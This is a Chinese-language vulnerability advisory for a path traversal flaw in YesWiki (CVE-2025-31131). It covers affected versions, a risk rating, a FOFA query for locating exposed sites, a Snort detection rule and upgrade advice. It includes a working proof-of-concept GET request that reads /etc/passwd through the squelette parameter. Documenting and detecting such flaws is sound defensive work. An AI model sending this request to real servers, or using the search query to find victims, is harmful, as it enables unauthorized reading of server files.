跳转至

Yeswiki 4.5.2 (CVE-2025-31131)任意文件读取漏洞

Yeswiki任意文件读取漏洞该squelette参数容易受到路径遍历攻击,从而允许读取服务器上的任意文件。有效载荷../../../../../../etc/passwd已在参数中提交squelette。请求的文件已在应用程序的响应中返回。

影响版本

Yeswiki < 4.5.2

漏洞状态

漏洞细节 漏洞POC 漏洞EXP 在野利用
已公开 已公开 已知

风险等级

维度 评价
威胁等级 高危
影响面 广
攻击者价值
利用难度

漏洞复现

FOFA:app="YesWiki"

POC/EXP:

GET /?UrkCEO/edit&theme=margot&squelette=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&style=margot.css HTTP/1.1
Host: 127.0.0.1

image-20250410113843914

snort规则:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
    msg:"WEB-ATTACKS Specific Directory Traversal attempt - UrkCEO pattern";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/"; http_uri;
    content:"UrkCEO/edit&theme=margot&squelette="; http_uri;
    pcre:"/squelette=([\.%2f]{2,}){5,}etc%2fpasswd/i";
    metadata:service http;
    reference:cve,CVE-2025-31131;
    reference:url,www.owasp.org/index.php/Path_Traversal;
    classtype:web-application-attack;
    sid:1000004;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本